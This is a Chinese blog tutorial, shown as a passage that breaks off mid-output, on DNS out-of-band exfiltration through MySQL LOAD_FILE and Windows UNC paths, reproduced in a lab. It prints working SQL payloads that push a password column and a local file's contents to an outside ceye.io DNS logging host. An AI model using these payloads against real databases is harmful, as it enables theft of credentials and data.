分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.youkuaiyun.com/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
这个问题已经是去年提出的了,之前也看到过,在CTF题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。这里对原理进行一波总结,并利用了CEYE平台成功的进行了原理复现利用。
博客原文地址:http://blog.youkuaiyun.com/wy_97/article/details/79094001
原理分析
这个虽然是利用到了比如说mysql的LOAD_FILE函数,其实本质还是对window的资源管理器的一个利用,利用协议//去进行一个子域名的DNS解析,将你需要的(你取得的一些有用信息当做子域名信息给传递出来)
先了解下DNS解析的基本原理吧
一张图解释DNS查询
下面来详细解释DNS域名解析的过程:
网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时,你使用的电脑会发出一个DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。
查询www.163.com的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。
根DNS服务器没有记录具体的域名和IP地址的对应关系,而是告诉本地DNS服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。
本地DNS服务器继续向域服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,你的域名的解析服务器的地址。
最后,本地DNS服务器向域名的解析服务器发出请求,这时就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。
总结:当你查询abc.hack.com这个子域名时,dns服务器hack.com会收到你的解析请求,这里就是out_of_band利用的原理了
windows资源管理器角度
为什么我说这是对windows资源管理器的利用,这里进行演示
当你在资源管理器地址栏输入:
\\test.u0ocor.ceye.io\\abc#u0ocor.ceye.io是我申请账号的dns解析服务器地址
- 1
- 2
你的测试账号服务器就会收到DNS解析请求,并记录(资源管理器这里不好截图)
数据库漏洞复现
当你存在注入点的时候,如果这个查询并不会对你进行一个回显,这个out_of_band就非常有用了,这里并未进行后端查询代码的设计了,直接从数据库开始
测试环境:
机器 | 操作系统 | 配置 |
---|---|---|
A机 | win7 | mysql环境,对secure进行了修改 |
B机 | win10 | mysql环境,未对secure进行了修改 |
参数secure_file_priv
这个参数是全局变量,可以通过下列语句进行查询:
A机mysql> select @@secure_file_priv;+--------------------+| @@secure_file_priv |+--------------------+| |+--------------------+1 row in set (0.00 sec)B机mysql> select @@secure_file_priv;+------------------------------------------------+| @@secure_file_priv |+------------------------------------------------+| C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ |+------------------------------------------------+
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
解释:
这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。
- 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
- 如果变量为空,则不会产生影响,引起不安全的配置。
- 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。
在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。(根据两台测试机器不同版本的mysql来判断,会默认为mysql的一个/upload根目录下)
补充一下两个机器的mysql版本:
A机mysql> select @@version;+-----------+| @@version |+-----------+| 5.7.19 |+-----------+1 row in set (0.00 sec)B机mysql> select @@version;+------------+| @@version |+------------+| 5.7.17-log |+------------+1 row in set (0.00 sec)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
复现
在满足上述全局变量的条件下,注意四个点:
- 最大查询长度问题,文件的大小限制
- 文件编码是否和数据库相同
- 绝对路径需要使用//
- 子域名最大长度问题,DNS规定,域名中的标号都由英文字母和数字组成,每一个标号不超过63个字符,也不区分大小写字母。标号中除连字符(-)外不能使用其他的标点符号。
下面进行演示:
A机:mysql> use test;Database changedmysql> select * from test;+------+----------+| name | password |+------+----------+| abc | 123456 |+------+----------+1 row in set (0.01 sec)mysql> SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.io\\abc'));^C -- query aborted+------------------------------------------------------------------------------+| LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.io\\abc')) |+------------------------------------------------------------------------------++------------------------------------------------------------------------------+1 row in set (21.19 sec)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
效果如图:
B机mysql> select load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc'));+-----------------------------------------------------------------------------------------------------------------------------+| load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc')) |+-----------------------------------------------------------------------------------------------------------------------------+| NULL &n